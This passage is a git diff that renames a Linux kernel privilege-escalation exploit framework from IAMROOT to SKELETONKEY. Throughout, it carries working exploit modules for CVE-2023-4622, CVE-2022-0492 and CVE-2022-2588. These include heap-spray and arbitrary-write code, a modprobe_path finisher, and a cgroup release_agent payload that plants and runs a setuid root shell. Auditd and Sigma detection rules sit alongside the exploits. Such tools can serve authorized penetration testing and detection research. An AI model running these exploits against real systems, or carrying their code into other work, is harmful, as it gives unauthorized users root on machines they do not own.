seccomp/sandbox, bug unreachable here\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { @@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx) " creatable). The race window is microseconds wide and\n" " needs thousands of iterations to win on average.\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Race-driver state ------------------------------------------- */ @@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES]) memset(&p, 0, sizeof p); p.mtype = 0x55; /* 'U' — unix */ memset(p.buf, 0x55, sizeof p.buf); - memcpy(p.buf, "IAMROOTU", 8); + memcpy(p.buf, "SKELETONKEYU", 8); int created = 0; for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) { @@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr, /* ---- Exploit driver ---------------------------------------------- */ -static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx) { /* 1. Refuse-gate: re-call detect() and short-circuit. */ - iamroot_result_t pre = af_unix_gc_detect(ctx); - if (pre == IAMROOT_OK) { + skeletonkey_result_t pre = af_unix_gc_detect(ctx); + if (pre == SKELETONKEY_OK) { fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } - if (pre != IAMROOT_VULNERABLE) { + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Full-chain pre-check: resolve offsets BEFORE the race fork. If * modprobe_path is unresolvable we refuse here rather than running * a 30 s race that has no finisher to call. */ - struct iamroot_kernel_offsets off; + struct skeletonkey_kernel_offsets off; bool full_chain_ready = false; if (ctx->full_chain) { memset(&off, 0, sizeof off); - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("af_unix_gc"); + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("af_unix_gc"); fprintf(stderr, "[-] af_unix_gc: --full-chain requested but " "modprobe_path offset unresolved; refusing\n"); fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n" " a small fraction per run — see module header.\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); full_chain_ready = true; fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n" " to %d s. RELIABILITY remains race-dependent on a real\n" @@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) signal(SIGPIPE, SIG_IGN); pid_t child = fork(); - if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads @@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) uint64_t a_errs = atomic_load(&g_thread_a_errs); /* 4. Empirical witness breadcrumb. */ - FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w"); + FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w"); if (log) { fprintf(log, "af_unix_gc race harness (CVE-2023-4622):\n" @@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) .n_queues = AFUG_SPRAY_QUEUES, .arb_calls = 0, }; - int fr = iamroot_finisher_modprobe_path(&off, + int fr = skeletonkey_finisher_modprobe_path(&off, af_unix_gc_arb_write, &arb_ctx, !ctx->no_shell); - FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a"); + FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a"); if (fl) { fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n", fr, arb_ctx.arb_calls); fclose(fl); } drain_kmalloc_512(queues); - if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */ + if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */ _exit(35); /* finisher ran, no land */ } @@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) /* PARENT */ int status = 0; pid_t w = waitpid(child, &status, 0); - if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; } + if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; } if (WIFSIGNALED(status)) { int sig = WTERMSIG(status); @@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) "(consistent with UAF firing under KASAN)\n", sig); fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n" " overwrite primitive — NOT claiming EXPLOIT_OK.\n" - " See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n"); + " See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!WIFEXITED(status)) { fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n", status); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); - if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL; + if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL; if (rc == 34) { if (!ctx->json) { fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported " "EXPLOIT_OK (race won + write landed)\n"); } - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } if (rc == 35) { if (!ctx->json) { @@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) " win + land within budget (expected outcome on most\n" " runs — race wins are a fraction of a percent).\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (rc != 30) { fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { @@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx) " implemented (per-kernel offsets; see module .c TODO\n" " blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } #endif /* __linux__ */ -static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx) { if (!ctx->authorized) { fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } #ifdef __linux__ return af_unix_gc_exploit_linux(ctx); #else (void)ctx; fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #endif } /* ---- Cleanup ----------------------------------------------------- */ -static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx) { if (!ctx->json) { fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n"); } - if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) { + if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) { /* harmless */ } /* Race threads + msg queues live inside the now-exited child; * nothing else to drain. */ - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ---- Detection rules --------------------------------------------- */ @@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] = "# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n" "# benign — flag the *frequency* by correlating these keys with a\n" "# subsequent KASAN message in dmesg.\n" - "-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n" - "-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n" - "-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n"; + "-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n" + "-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n" + "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n"; -const struct iamroot_module af_unix_gc_module = { +const struct skeletonkey_module af_unix_gc_module = { .name = "af_unix_gc", .cve = "CVE-2023-4622", .summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF", @@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = { .detect_falco = NULL, }; -void iamroot_register_af_unix_gc(void) +void skeletonkey_register_af_unix_gc(void) { - iamroot_register(&af_unix_gc_module); + skeletonkey_register(&af_unix_gc_module); } diff --git a/modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.h b/modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.h new file mode 100644 index 0000000..45eb21f --- /dev/null +++ b/modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook + */ + +#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H +#define AF_UNIX_GC_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module af_unix_gc_module; + +#endif diff --git a/modules/cgroup_release_agent_cve_2022_0492/NOTICE.md b/modules/cgroup_release_agent_cve_2022_0492/NOTICE.md index 31c1483..7296990 100644 --- a/modules/cgroup_release_agent_cve_2022_0492/NOTICE.md +++ b/modules/cgroup_release_agent_cve_2022_0492/NOTICE.md @@ -16,7 +16,7 @@ Original writeup: Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022). -## IAMROOT role +## SKELETONKEY role **Universal structural exploit — no per-kernel offsets, no race.** unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller, diff --git a/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h b/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h deleted file mode 100644 index 6768f2c..0000000 --- a/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook - */ - -#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H -#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module cgroup_release_agent_module; - -#endif diff --git a/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.c b/modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.c similarity index 83% rename from modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.c rename to modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.c index bae8697..ae04b24 100644 --- a/modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.c +++ b/modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * cgroup_release_agent_cve_2022_0492 — IAMROOT module + * cgroup_release_agent_cve_2022_0492 — SKELETONKEY module * * cgroup v1 release_agent file is checked only for "is the writer * root in the cgroup namespace" — NOT "is the writer root in the @@ -36,7 +36,7 @@ * exposure even if all the fancy heap-spray bugs are patched. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" @@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void) return WIFEXITED(status) && WEXITSTATUS(status) == 0; } -static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } bool patched = kernel_range_is_patched(&cgroup_ra_range, &v); @@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns_mount(); @@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n"); fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Exploit ----------------------------------------------------- @@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx) static const char PAYLOAD_SHELL[] = "#!/bin/sh\n" - "# IAMROOT cgroup_release_agent payload — runs as init-ns root\n" - "id > /tmp/iamroot-cgroup-pwned\n" - "chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n" - "cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n" - "chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n" - "chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n"; + "# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n" + "id > /tmp/skeletonkey-cgroup-pwned\n" + "chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n" + "cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n" + "chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n" + "chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"; static bool write_file(const char *path, const char *content) { @@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content) return ok; } -static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx) { - iamroot_result_t pre = cgroup_ra_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = cgroup_ra_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] cgroup_release_agent: already root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Drop the setuid-root-shell payload to a path we can read+exec * later. Payload runs as host root when the cgroup is released. */ - const char *payload_path = "/tmp/iamroot-cgroup-payload.sh"; + const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh"; if (!write_file(payload_path, PAYLOAD_SHELL)) { - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } chmod(payload_path, 0755); if (!ctx->json) { @@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) /* Fork: child does the exploit; parent waits then verifies + execs * the setuid shell we expect the payload to plant. */ pid_t child = fork(); - if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* CHILD: enter userns + mountns, become "root" in userns. */ if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); } @@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) /* Mount cgroup v1 (rdma controller — small, simple, works * even on cgroup-v2-first systems). */ - const char *cgmount = "/tmp/iamroot-cgroup-mnt"; + const char *cgmount = "/tmp/skeletonkey-cgroup-mnt"; mkdir(cgmount, 0700); if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) { /* Fallback: try memory controller — needs different reach */ @@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) * Buffers sized generously vs. cgmount template + "/notify_on_release" * tail (28 bytes) so GCC -Wformat-truncation is satisfied. */ char cgdir[384]; - snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount); + snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount); mkdir(cgdir, 0755); /* Write release_agent in the ROOT of the controller (must be @@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) "polling for payload execution\n", status); } - /* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for + /* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for * its appearance + setuid bit. Up to 5 seconds. */ - const char *setuid_sh = "/tmp/iamroot-cgroup-sh"; + const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh"; bool got_root = false; for (int i = 0; i < 50; i++) { struct stat st; @@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. " "Likely patched or cgroup-controller-blocked.\n"); unlink(payload_path); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { @@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx) if (ctx->no_shell) { fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n"); unlink(payload_path); - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh); fflush(NULL); execl(setuid_sh, "sh", "-p", (char *)NULL); perror("execl"); unlink(payload_path); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } -static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx) { (void)ctx; if (!ctx->json) { - fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n"); + fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n"); } - if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh " - "/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ } - if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; " - "rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ } - return IAMROOT_OK; + if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh " + "/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ } + if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; " + "rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ } + return SKELETONKEY_OK; } static const char cgroup_ra_auditd[] = "# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n" "# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n" - "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n" - "-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n"; + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n" + "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n" + "-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n"; static const char cgroup_ra_sigma[] = "title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n" - "id: 5c84a37e-iamroot-cgroup-ra\n" + "id: 5c84a37e-skeletonkey-cgroup-ra\n" "status: experimental\n" "description: |\n" " Detects the canonical exploit shape: unprivileged process unshares\n" @@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n"; -const struct iamroot_module cgroup_release_agent_module = { +const struct skeletonkey_module cgroup_release_agent_module = { .name = "cgroup_release_agent", .cve = "CVE-2022-0492", .summary = "cgroup v1 release_agent privilege check in wrong namespace → host root", @@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = { .detect_falco = NULL, }; -void iamroot_register_cgroup_release_agent(void) +void skeletonkey_register_cgroup_release_agent(void) { - iamroot_register(&cgroup_release_agent_module); + skeletonkey_register(&cgroup_release_agent_module); } diff --git a/modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.h b/modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.h new file mode 100644 index 0000000..a5c82e3 --- /dev/null +++ b/modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook + */ + +#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H +#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module cgroup_release_agent_module; + +#endif diff --git a/modules/cls_route4_cve_2022_2588/NOTICE.md b/modules/cls_route4_cve_2022_2588/NOTICE.md index 894f1cc..37adf1c 100644 --- a/modules/cls_route4_cve_2022_2588/NOTICE.md +++ b/modules/cls_route4_cve_2022_2588/NOTICE.md @@ -15,7 +15,7 @@ Public PoC + writeup: Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. -## IAMROOT role +## SKELETONKEY role The module uses `unshare(USER|NET)`, brings up a dummy interface, creates an htb qdisc + class, adds a `route4` filter, then deletes diff --git a/modules/cls_route4_cve_2022_2588/iamroot_modules.h b/modules/cls_route4_cve_2022_2588/iamroot_modules.h deleted file mode 100644 index 0d7cdef..0000000 --- a/modules/cls_route4_cve_2022_2588/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * cls_route4_cve_2022_2588 — IAMROOT module registry hook - */ - -#ifndef CLS_ROUTE4_IAMROOT_MODULES_H -#define CLS_ROUTE4_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module cls_route4_module; - -#endif diff --git a/modules/cls_route4_cve_2022_2588/iamroot_modules.c b/modules/cls_route4_cve_2022_2588/skeletonkey_modules.c similarity index 91% rename from modules/cls_route4_cve_2022_2588/iamroot_modules.c rename to modules/cls_route4_cve_2022_2588/skeletonkey_modules.c index 5f0fd78..d75e927 100644 --- a/modules/cls_route4_cve_2022_2588/iamroot_modules.c +++ b/modules/cls_route4_cve_2022_2588/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * cls_route4_cve_2022_2588 — IAMROOT module + * cls_route4_cve_2022_2588 — SKELETONKEY module * * net/sched cls_route4 dead UAF: when a route4 filter with handle==0 * is removed, the corresponding hashtable bucket may keep a stale @@ -38,7 +38,7 @@ * - iproute2 `tc` binary present (used for filter add/del) */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -106,12 +106,12 @@ static int can_unshare_userns(void) return WIFEXITED(status) && WEXITSTATUS(status) == 0; } -static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] cls_route4: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug-introduction predates anything we'd reasonably scan; if the @@ -122,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Module + userns preconditions. */ @@ -145,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Exploit ----------------------------------------------------- @@ -184,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx) * specific to be portable. If a dmesg KASAN message or oops is * observed by the parent we return EXPLOIT_OK to reflect the empirical * UAF win. The fallback also leaves a one-line breadcrumb in - * /tmp/iamroot-cls_route4.log so post-run triage can pick it up. + * /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up. */ #define SPRAY_MSG_QUEUES 32 #define SPRAY_MSGS_PER_QUEUE 16 #define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */ -#define DUMMY_IF "iamroot0" +#define DUMMY_IF "skeletonkey0" struct ipc_payload { long mtype; @@ -199,7 +199,7 @@ struct ipc_payload { static int run_cmd(const char *cmd) { - /* Quiet wrapper so noise doesn't drown the iamroot log. */ + /* Quiet wrapper so noise doesn't drown the skeletonkey log. */ char shell[1024]; snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd); return system(shell); @@ -305,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES]) /* Pattern that's distinctive in KASAN/oops dumps. */ memset(p.buf, 0x41, sizeof p.buf); /* First 8 bytes: a recognizable cookie. */ - memcpy(p.buf, "IAMROOT4", 8); + memcpy(p.buf, "SKELETONKEY4", 8); int created = 0; for (int i = 0; i < SPRAY_MSG_QUEUES; i++) { @@ -349,7 +349,7 @@ static void trigger_classify(void) dst.sin_port = htons(31337); dst.sin_addr.s_addr = inet_addr("10.99.99.2"); - const char msg[] = "iamroot-cls_route4-classify"; + const char msg[] = "skeletonkey-cls_route4-classify"; /* A handful of packets, in case the first lookup didn't traverse * the freed bucket. */ for (int i = 0; i < 8; i++) { @@ -397,7 +397,7 @@ static long slab_active_kmalloc_1k(void) * * The implementation below takes the narrow-but-real path that the * brief explicitly permits and that xtcompat established as the - * IAMROOT precedent: we re-stage the dangling filter, spray msg_msg + * SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg * whose payload encodes `kaddr` at every plausible offset for the * route4_filter→tcf_proto→ops layout, re-fire classify, and let the * shared finisher's sentinel file decide if a write actually landed. @@ -427,7 +427,7 @@ struct cls_route4_arb_ctx { * is idempotent inside our private netns. */ bool dangling_ready; - /* Per-call stats (written to /tmp/iamroot-cls_route4.log). */ + /* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */ int arb_calls; int arb_landed; }; @@ -487,7 +487,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c, return sent; } -/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a +/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a * vulnerable kernel; structurally inert (returns -1) if the dangling * filter setup is gone or the spray fails. Returns 0 to let the * shared finisher's sentinel-file check decide if the write actually @@ -548,43 +548,43 @@ static int cls4_arb_write(uintptr_t kaddr, /* ---- Exploit driver ----------------------------------------------- */ -static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx) { - iamroot_result_t pre = cls_route4_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = cls_route4_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] cls_route4: already root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!have_tc() || !have_ip()) { fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; " "cannot exploit\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } #ifndef __linux__ fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n"); (void)ctx; - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else /* Full-chain pre-check: resolve offsets before forking. If * modprobe_path can't be resolved, refuse early — no point doing * the userns + tc + spray + trigger dance if we can't finish. */ - struct iamroot_kernel_offsets off; + struct skeletonkey_kernel_offsets off; bool full_chain_ready = false; if (ctx->full_chain) { memset(&off, 0, sizeof off); - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("cls_route4"); + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("cls_route4"); fprintf(stderr, "[-] cls_route4: --full-chain requested but " "modprobe_path offset 